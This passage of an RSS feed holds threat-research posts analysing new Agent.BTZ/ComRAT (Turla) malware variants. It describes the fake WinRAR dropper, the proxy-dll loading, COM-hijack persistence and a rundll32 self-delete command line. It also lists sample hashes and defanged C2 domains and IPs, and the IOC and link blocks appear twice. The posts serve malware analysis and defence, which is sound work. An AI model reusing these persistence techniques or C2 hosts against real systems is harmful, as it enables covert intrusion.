&lt;a href="#main-differences-between-old326--new-samples" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Filename
&lt;ul&gt;
&lt;li&gt;New file names
&lt;ul&gt;
&lt;li&gt;activeds.dll – proxy dll&lt;/li&gt;
&lt;li&gt;stdole2.tlb – main payload&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exports&lt;/li&gt;
&lt;li&gt;AddAtomS removed
&lt;ul&gt;
&lt;li&gt;Legacy stub function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AddAtomT removed
&lt;ul&gt;
&lt;li&gt;Legacy installation function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;UnInstallW added
&lt;ul&gt;
&lt;li&gt;Force delete file. Used by new dropper for self delete.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PVer(internal version tracking)
&lt;ul&gt;
&lt;li&gt;random version id(see following picture) instead of incremental, might be
due to GDATA’s 2014 publications.
&lt;ul&gt;
&lt;li&gt;For example:
&lt;ul&gt;
&lt;li&gt;0.8.1529506101&lt;/li&gt;
&lt;li&gt;0.9.1528434231&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Persistence(COM Hijacking)
&lt;ul&gt;
&lt;li&gt;New CLSID
&lt;ul&gt;
&lt;li&gt;{DFFACDC5-679F-4156-8947-C5C76BC0B67F}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;C2 Infrastructure&lt;/li&gt;
&lt;li&gt;Both using “Satellite Turla” infrastructure&lt;/li&gt;
&lt;li&gt;Config &amp;amp; Log Files&lt;/li&gt;
&lt;li&gt;Same 512 bytes encryption key as 3.26&lt;/li&gt;
&lt;li&gt;Different file paths:&lt;/li&gt;
&lt;li&gt;config: &lt;code&gt;%appdata%\Microsoft\Windows\PrivacIE\High\desktop.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;log: &lt;code&gt;%appdata%\Microsoft\Windows\PrivacIE\High\index.dat&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 dropper
6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 dropper
73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88 activeds.dll
50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f activeds.dll
380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac activeds.dll
9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426 activeds.dll
628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24 activeds.dll
f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2 activeds.dll
a093fa22d7bc4ee99049a29b66a13d4bf4d1899ed4c7a8423fbb8c54f4230f3c activeds.dll
6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96 stdole2.tlb
49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e stdole2.tlb
e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49 stdole2.tlb
89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea stdole2.tlb
0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286 other
bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3 other
fac13f08afe2745fc441ada37120cebce0e0aa16d03a03e9cda3ec9384dd40f2 backdoor
bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1 other&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;81.199.34[.]150
elephant.zzux[.]com
angrybear.ignorelist[.]com
bigalert.mefound[.]com
bughouse.yourtrap[.]com
getfreetools.strangled[.]net
news100top.diskstation[.]org
pro100sport.mein-vigor[.]de
redneck.yourtrap[.]com
savage.2waky[.]com
tehnologtrade.4irc[.]com
81.199.160[.]11
forums.chatnook[.]com
goodengine.darktech[.]org
locker.strangled[.]net
simple-house.zzux[.]com
specialcar.mooo[.]com
sunseed.strangled[.]net
whitelibrary.4irc[.]com
bloodpearl.strangled[.]net
getlucky.ignorelist[.]com
proriot.zzux[.]com
fourapi.mooo[.]com
nopasaran.strangled[.]net
78.138.25[.]29
showme.twilightparadox[.]com
mouses.strangled[.]net
82.146.175[.]69
mouses.strangled[.]net
178.219.68[.]242
ftp.fueldust.compress[.]to
ftp.linear.wikaba[.]com
ftp.mysterysoft.epac[.]to
ftp.scroller.longmusic[.]com
ftp.spartano.mefound[.]com
fueldust.compress[.]to
linear.wikaba[.]com
mysterysoft.epac.to
safety.deaftone[.]com
salary.flnet[.]org
scroller.longmusic[.]com
spartano.mefound[.]com
88.83.25[.]122
robot.wikaba[.]com
41.223.91[.]217
smileman.compress[.]to
decent.ignorelist[.]com
dekka.biz[.]tm
disol.strangled[.]net
eraser.2waky[.]com
filelord.epac[.]to
justsoft.epac[.]to
smuggler.zzux[.]com
sport-journal.twilightparadox[.]com
sportinfo.yourtrap[.]com
stager.ignorelist[.]com
tankos.wikaba[.]com
grandfathers.mooo[.]com
homeric.mooo[.]com
jamming.mooo[.]com
pneumo.mooo[.]com
razory.mooo[.]com
anger.scieron[.]com
gantama.mefound[.]com
letgetbad.epac[.]to
rowstate.epac[.]to
memento.info[.]tm
196.43.240[.]177
bughouse.yourtrap[.]com
news100top.diskstation[.]org
169.255.102[.]240
harm17.zzux[.]com
mountain8.wikaba[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Related articles&lt;span class="hx:absolute hx:-mt-20" id="related-articles"&gt;&lt;/span&gt;
&lt;a href="#related-articles" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"target="_blank" rel="noopener"&gt;http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/"target="_blank" rel="noopener"&gt;https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"target="_blank" rel="noopener"&gt;https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/the-epic-turla-operation/65545/"target="_blank" rel="noopener"&gt;https://securelist.com/the-epic-turla-operation/65545/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://artemonsecurity.com/snake_whitepaper.pdf"target="_blank" rel="noopener"&gt;http://artemonsecurity.com/snake_whitepaper.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 1/2</title><link>https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/</link><pubDate>Mon, 07 Aug 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/</guid><description>
&lt;p&gt;Agent.BTZ–also known as ComRAT–is one of the world’s oldest known
state-sponsored threats, mainly known for the
&lt;a href="http://articles.latimes.com/2008/nov/28/nation/na-cyberattack28"target="_blank" rel="noopener"&gt;2008 Pentagon breach&lt;/a&gt;.
Technically speaking, Agent.BTZ is a sophisticated user-mode RAT developed and
operated by the Turla group in conjunction with Snake/Uroburos rootkit. In the
past few months, we conducted research on Agent.BTZ’s code-base and how it
evolved using Intezer Code Intelligence™ technology. &lt;strong&gt;Based on our research
conclusions, we were able to hunt about a dozen new samples and more than
seventy previously unknown live IP &amp;amp; DNS addresses indicating the ongoing abuse
of
&lt;a href="https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/"target="_blank" rel="noopener"&gt;satellite internet providers&lt;/a&gt;
operating in both Africa &amp;amp; the Middle East&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is a short memo regarding our findings from the past few months; get more
details in Part 2 of this blog,
&lt;a href="../../../2017/09/new-variants-of-agent-btz-comrat-found-part-2"&gt;a whitepaper we wrote on Agent.BTZ/ComRAT&lt;/a&gt;
describing in more details how we found these new variants using our
technology, along with a thorough analysis of the new samples.&lt;/p&gt;
&lt;h2&gt;Dropper&lt;span class="hx:absolute hx:-mt-20" id="dropper"&gt;&lt;/span&gt;
&lt;a href="#dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Although the code itself was written from scratch and has nothing to do with
WinRAR, the adversary tried to mimic WinRAR’s SFX installer. Resource data was
duplicated, including icons and layouts used by the original installer, as you
can see in the following screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Once executed, the dropper installs activeds.dll – a proxy dll which is loaded
directly to explorer.exe once the machine reboots. The purpose of this proxy
dll is to load the malware’s main payload – stdole2.tlb. The dropper then also
deletes any previous installation of Agent.BTZ if it exists. This is done using
a hard-coded file path:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Documents and Settings\&amp;lt;USER&amp;gt;\Application Data\Microsoft\Windows\Themes\termsvr32.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Documents and Settings\&amp;lt;USER&amp;gt;\Application Data\Microsoft\Windows\Themes\pcasrc.tlb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**Note: These file names were first used by Agent.BTZ in late 2014, as you
can see in this
&lt;a href="https://vms.drweb.ru/virus/?i=4268384"target="_blank" rel="noopener"&gt;automatic Dr.WEB report&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once finished, the dropper renames and self delete using the following command
line:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\WINDOWS\system32\rundll32.exe C:\DOCUME~1\&amp;lt;USER&amp;gt;~1\APPLIC~1\MICROS~1\Windows\stdole2.tlb,UnInstall C:\~$.tmp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Samples found:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;stdole2.tlb&lt;span class="hx:absolute hx:-mt-20" id="stdole2tlb"&gt;&lt;/span&gt;
&lt;a href="#stdole2tlb" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As previously mentioned, this file is the main component installed by the
fake-sfx dropper and loaded by activeds.dll. We extracted the configuration
from each sample in order to obtain the c2 address and inner version
(&amp;quot;&lt;code&gt;PVer&lt;/code&gt;&amp;quot;), which is built into every Agent.BTZ sample. In the past,
Agent.BTZ’s developers have used an incremental value to indicate the inner
build version, the last known value is 3.26 as
&lt;a href="https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"target="_blank" rel="noopener"&gt;published by G-Data in late 2014&lt;/a&gt;,
It seems that the developers have reacted to G-Data’s publication and have
stopped using an incremental value. New variants are now using a different
numbering system of &lt;code&gt;0.8/9.&amp;lt;RANDOM_VALUE&amp;gt;&lt;/code&gt;, making it more difficult for
researchers to track the exact version of the samples.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/images/fig2.png" title="Example configuration extracted from one of the samples – PVer 0.9.1528434231." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Example configuration extracted from one of the samples – PVer 0.9.1528434231.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Even without the PVer numbering, we were able to determine using our technology
that these samples are from a newer version, which is based on the latest known
versions of Agent.BTZ – 3.25 / 3.26. These are the two top files you can see in
the following screenshot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/en/file/4e553bce90f0b39cd71ba633da5990259e185979c2859ec2e04dd8efcdafe356/analysis/"target="_blank" rel="noopener"&gt;4e553bce90f0b39cd71ba633da5990259e185979c2859ec2e04dd8efcdafe356 (VirusTotal)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/en/file/3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2/analysis/"target="_blank" rel="noopener"&gt;3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2 (VirusTotal)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both of these files were uploaded almost three years ago to VT(!)&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/images/fig3.png" title="A screenshot from the Intezer Analyze™ product displaying a list of files in our database that share pieces of code with one of the new samples. These pieces of code are specific to the Turla malware family, and were not seen in any other malicious or legitimate software." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A screenshot from the Intezer Analyze™ product displaying a list of files in our database that share pieces of code with one of the new samples. These pieces of code are specific to the Turla malware family, and were not seen in any other malicious or legitimate software.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Samples found:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 dropper
6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 dropper
73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88 activeds.dll
50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f activeds.dll
380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac activeds.dll
9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426 activeds.dll
628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24 activeds.dll
f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2 activeds.dll
a093fa22d7bc4ee99049a29b66a13d4bf4d1899ed4c7a8423fbb8c54f4230f3c activeds.dll
6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96 stdole2.tlb
49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e stdole2.tlb
e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49 stdole2.tlb
89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea stdole2.tlb
0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286 other
bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3 other
fac13f08afe2745fc441ada37120cebce0e0aa16d03a03e9cda3ec9384dd40f2 backdoor
bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1 other&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;81.199.34[.]150
elephant.zzux[.]com
angrybear.ignorelist[.]com
bigalert.mefound[.]com
bughouse.yourtrap[.]com
getfreetools.strangled[.]net
news100top.diskstation[.]org
pro100sport.mein-vigor[.]de
redneck.yourtrap[.]com
savage.2waky[.]com
tehnologtrade.4irc[.]com
81.199.160[.]11
forums.chatnook[.]com
goodengine.darktech[.]org
locker.strangled[.]net
simple-house.zzux[.]com
specialcar.mooo[.]com
sunseed.strangled[.]net
whitelibrary.4irc[.]com
bloodpearl.strangled[.]net
getlucky.ignorelist[.]com
proriot.zzux[.]com
fourapi.mooo[.]com
nopasaran.strangled[.]net
78.138.25[.]29
showme.twilightparadox[.]com
mouses.strangled[.]net
82.146.175[.]69
mouses.strangled[.]net
178.219.68[.]242
ftp.fueldust.compress[.]to
ftp.linear.wikaba[.]com
ftp.mysterysoft.epac[.]to
ftp.scroller.longmusic[.]com
ftp.spartano.mefound[.]com
fueldust.compress[.]to
linear.wikaba[.]com
mysterysoft.epac.to
safety.deaftone[.]com
salary.flnet[.]org
scroller.longmusic[.]com
spartano.mefound[.]com
88.83.25[.]122
robot.wikaba[.]com
41.223.91[.]217
smileman.compress[.]to
decent.ignorelist[.]com
dekka.biz[.]tm
disol.strangled[.]net
eraser.2waky[.]com
filelord.epac[.]to
justsoft.epac[.]to
smuggler.zzux[.]com
sport-journal.twilightparadox[.]com
sportinfo.yourtrap[.]com
stager.ignorelist[.]com
tankos.wikaba[.]com
grandfathers.mooo[.]com
homeric.mooo[.]com
jamming.mooo[.]com
pneumo.mooo[.]com
razory.mooo[.]com
anger.scieron[.]com
gantama.mefound[.]com
letgetbad.epac[.]to
rowstate.epac[.]to
memento.info[.]tm
196.43.240[.]177
bughouse.yourtrap[.]com
news100top.diskstation[.]org
169.255.102[.]240
harm17.zzux[.]com
mountain8.wikaba[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Related articles&lt;span class="hx:absolute hx:-mt-20" id="related-articles"&gt;&lt;/span&gt;
&lt;a href="#related-articles" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"target="_blank" rel="noopener"&gt;http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/"target="_blank" rel="noopener"&gt;https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"target="_blank" rel="noopener"&gt;https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/the-epic-turla-operation/65545/"target="_blank" rel="noopener"&gt;https://securelist.com/the-epic-turla-operation/65545/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://artemonsecurity.com/snake_whitepaper.pdf"target="_blank" rel="noopener"&gt;http://artemonsecurity.com/snake_whitepaper.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>